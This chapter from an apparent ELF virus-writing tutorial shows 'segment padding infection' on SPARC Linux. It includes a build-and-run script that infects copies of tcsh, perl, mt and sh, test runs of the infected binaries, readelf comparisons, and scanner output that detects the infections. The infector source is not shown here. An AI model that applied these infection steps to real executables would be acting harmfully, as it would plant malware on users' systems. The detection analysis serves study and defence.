6. Segment padding infection

 

Don't be too proud of this technological terror you've constructed. The ability to destroy a planet is insignificant next to the power of the Force.

 Darth Vader

Another interesting thing in the output of Bashful glance is the distance between the two LOAD segments:

VirtAddr[2] - VirtAddr[1] - MemSiz[1] = 0x95768 - 0x10000 - 0x75763 = 0x10005 = 65541 bytes

Offset[2] - Offset[1] - FileSiz[1] = 0x75768 - 0x0 - 0x75763 = 0x5 = 5 bytes

Only 5 bytes (0x5) would be needed to align the first LOAD segment up to the alignment of 0x10000. For some reason at least one complete page lies between code segment and data segment. Is this gap target for a virus? Well, that depends. See Segment padding infection (i) for a general introduction. Anyway, the interesting thing in the output below is the value of _SC_PAGESIZE. We can fill the gap only in chunks of that size.

Output: out/sparc-debian2.2-linux/segment_padding/sysconf
_SC_CLK_TCK=100
_SC_VERSION=199506
_SC_PAGESIZE=4096
_SC_PHYS_PAGES=7556
_SC_AVPHYS_PAGES=466

6.1. Skim the horizon

The next step is to verify the existence of this gap in a typical population of executables. Scan segment padding is platform independent, but the its output is just below. The first test is with typical places like /bin. Note that only the last few lines of output are shown.

Output: out/sparc-debian2.2-linux/scanner/dist_big
files=0631; det_page=0000; det_align=0000; min=0x00010000; max=0x00010006

On this installation at least 631 files are possible targets. So on to all infected executables created from the sources of this document. Again only the last few lines of output is shown. It's enough to see that all infected files are detected.

Output: out/sparc-debian2.2-linux/scanner/dist_small
one_step_closer/e1i1/tcsh_infected                   addr=000674f8 dist=0000f005
one_step_closer/e1i1/perl_infected                   addr=000afcd0 dist=0000f003
one_step_closer/e1i1/mt_infected                     addr=00024384 dist=0000f001
one_step_closer/e1i1/sh_infected                     addr=00095768 dist=0000f005
one_step_closer/e1i1/strip_sh_infected               addr=00095768 dist=0000f005
files=0005; det_page=0000; det_align=0005; min=0x0000f001; max=0x0000f005

6.2. Off we go

We found a peculiarity. We verified its existence. We have a basic framework at One step closer (i) and implemented the specific infection method at Segment padding infection (i). The code to insert is at Infection #1. So off we go.

Command: pre/sparc-debian2.2-linux/one_step_closer/cc.sh
#!/bin/sh
project=${1:-one_step_closer}
entry_addr=${2:-e1}
infection=${3:-i1}
main=${4}

/usr/bin/gcc -O1 -I out/sparc-debian2.2-linux -D NDEBUG -g \
	-I ./src/one_step_closer/${entry_addr} \
	-I out/sparc-debian2.2-linux/${project}/${infection} \
	-o tmp/sparc-debian2.2-linux/${project}/${entry_addr}${infection}/infector \
	${main} \
&& cd tmp/sparc-debian2.2-linux/${project}/${entry_addr}${infection} \
&& ./infector /usr/bin/tcsh /usr/bin/perl /bin/mt /bin/sh

Output: out/sparc-debian2.2-linux/one_step_closer/e1i1/cc
Infecting copy of /usr/bin/tcsh... wrote 76 bytes, Ok
Infecting copy of /usr/bin/perl... wrote 76 bytes, Ok
Infecting copy of /bin/mt... wrote 76 bytes, Ok
Infecting copy of /bin/sh... wrote 76 bytes, Ok
4 infected, 0 failed

A simple shell script will do as test.

Output = Command: out/sparc-debian2.2-linux/one_step_closer/test-e1i1.sh
#!tmp/sparc-debian2.2-linux/one_step_closer/e1i1/sh_infected
echo $_
echo $BASH_VERSION
tmp/sparc-debian2.2-linux/one_step_closer/e1i1/mt_infected
tmp/sparc-debian2.2-linux/one_step_closer/e1i1/tcsh_infected -fc 'echo $version'
tmp/sparc-debian2.2-linux/one_step_closer/e1i1/perl_infected -v | head -2
echo "---"
cp tmp/sparc-debian2.2-linux/one_step_closer/e1i1/sh_infected tmp/sparc-debian2.2-linux/one_step_closer/e1i1/strip_sh_infected \
&& strip tmp/sparc-debian2.2-linux/one_step_closer/e1i1/strip_sh_infected \
&& tmp/sparc-debian2.2-linux/one_step_closer/e1i1/strip_sh_infected --version

Output: out/sparc-debian2.2-linux/one_step_closer/test-e1i1
ELFsh_infected
2.03.0(1)-release
ELFUsage: tmp/sparc-debian2.2-linux/one_step_closer/e1i1/mt_infected [-V] [-f device] [--file=device] [--rsh-command=command]
	[--help] [--version] operation [count]
ELFtcsh 6.09.00 (Astron) 1999-08-16 (sparc-unknown-linux) options 8b,nls,bye,al,ng,rh,nd,color
ELF
This is perl, version 5.005_03 built for sparc-linux
---
ELFGNU bash, version 2.03.0(1)-release (sparc-unknown-linux-gnu)
Copyright 1998 Free Software Foundation, Inc.

The Force is strong with this one. [1]

6.3. Magnifying glass

After emotions cooled down a bit we can examine the infected executable and compare it with the original.

Command: pre/sparc-debian2.2-linux/segment_padding/readelf.sh
#!/bin/sh
cd tmp/sparc-debian2.2-linux/one_step_closer/e1i1 \
&& /bin/ls -l sh_infected \
&& /usr/bin/readelf -l sh_infected

Output: out/sparc-debian2.2-linux/segment_padding/readelf
-rwxr-xr-x    1 alba     alba       517028 Oct 23 01:56 sh_infected

Elf file type is EXEC (Executable file)
Entry point 0x85770
There are 6 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x00010034 0x00010034 0x000c0 0x000c0 R E 0x4
  INTERP         0x0000f4 0x000100f4 0x000100f4 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x00010000 0x00010000 0x76763 0x76763 R E 0x10000
  LOAD           0x076768 0x00095768 0x00095768 0x057cc 0x09070 RWE 0x10000
  DYNAMIC        0x07be84 0x0009ae84 0x0009ae84 0x000b0 0x000b0 RW  0x4
  NOTE           0x000108 0x00010108 0x00010108 0x00020 0x00020 R   0x4

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp 
   02     .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.bss .rela.plt .init .text .fini .rodata 
   03     .data .eh_frame .ctors .dtors .plt .got .dynamic .bss 
   04     .dynamic 
   05     .note.ABI-tag 

File size and code segment have grown as expected. Data segment and DYNAMIC segment moved accordingly:

infected.file_size - sh.file_size = 517028 - 512932 = 4096 = 0x1000

infected.LOAD[1].Filesiz - sh.LOAD[1].Filesiz = 0x76763 - 0x75763 = 0x1000

infected.LOAD[2].Offset - sh.LOAD[2].Offset = 0x76768 - 0x75768 = 0x1000

infected.DYNAMIC.Offset - sh.DYNAMIC.Offset = 0x7be84 - 0x7ae84 = 0x1000

6.4. First scan

The small output of Scan segment padding contains the executable from last chapter. But for clarity we repeat the exercise.

Command: pre/sparc-debian2.2-linux/segment_padding/scan_dist.sh
#!/bin/sh
TEVWH_TMP=tmp/sparc-debian2.2-linux
TEVWH_PAGESIZE=1000
TEVWH_ELF_ALIGN=10000
export TEVWH_TMP TEVWH_PAGESIZE TEVWH_ELF_ALIGN

/usr/bin/objdump -p \
	/bin/sh \
	tmp/sparc-debian2.2-linux/one_step_closer/e1i1/sh_infected \
| ./src/scanner/dist.pl

Output: out/sparc-debian2.2-linux/segment_padding/scan
one_step_closer/e1i1/sh_infected                     addr=00095768 dist=0000f005
files=0002; det_page=0000; det_align=0001; min=0x0000f005; max=0x00010005

This is like playing chess against oneself, and losing. Can't do much about it, though.

6.5. Second scan

The value of Entry point changed dramatically. In the original it is in the first part of the file:

entry_point_m/additional.cs.xml = 0x1f598 - 0x10000 = 0xf598 = 62872 bytes.

The infected copy moved that to less than 1000 bytes from the end of the code segment.

entry_point_ofs = 0x85770 - 0x10000 = 0x75770 = 481136 bytes.

end_of_LOAD1 = 0x10000 + 0x76763 = 0x86763

entry_point_distance_to_end = 0x86763 - 0x85770 = 0xff3 = 4083

This alone is an easy vulnerability to scanners. But since Sections we know that for regular executables the entry point equals the start of section .text. We let the script in Scan entry point loose on all infected executables produced from the sources of this document. Only a few are detected. Which means there is cure against this vulnerability (just read on).

Output: out/sparc-debian2.2-linux/scanner/entry_point_small
one_step_closer/e1i1/tcsh_infected                               ep=0x00057500 sot=0x00011d9c
one_step_closer/e1i1/perl_infected                               ep=0x0009fcd0 sot=0x0001eed0
one_step_closer/e1i1/mt_infected                                 ep=0x00014390 sot=0x00010d78
one_step_closer/e1i1/sh_infected                                 ep=0x00085770 sot=0x0001f598
one_step_closer/e1i1/strip_sh_infected                           ep=0x00085770 sot=0x0001f598
files=0005; detected=0005

Notes

[1]

Ok, it is not strip-safe on SunOS. But I call that room for improvement.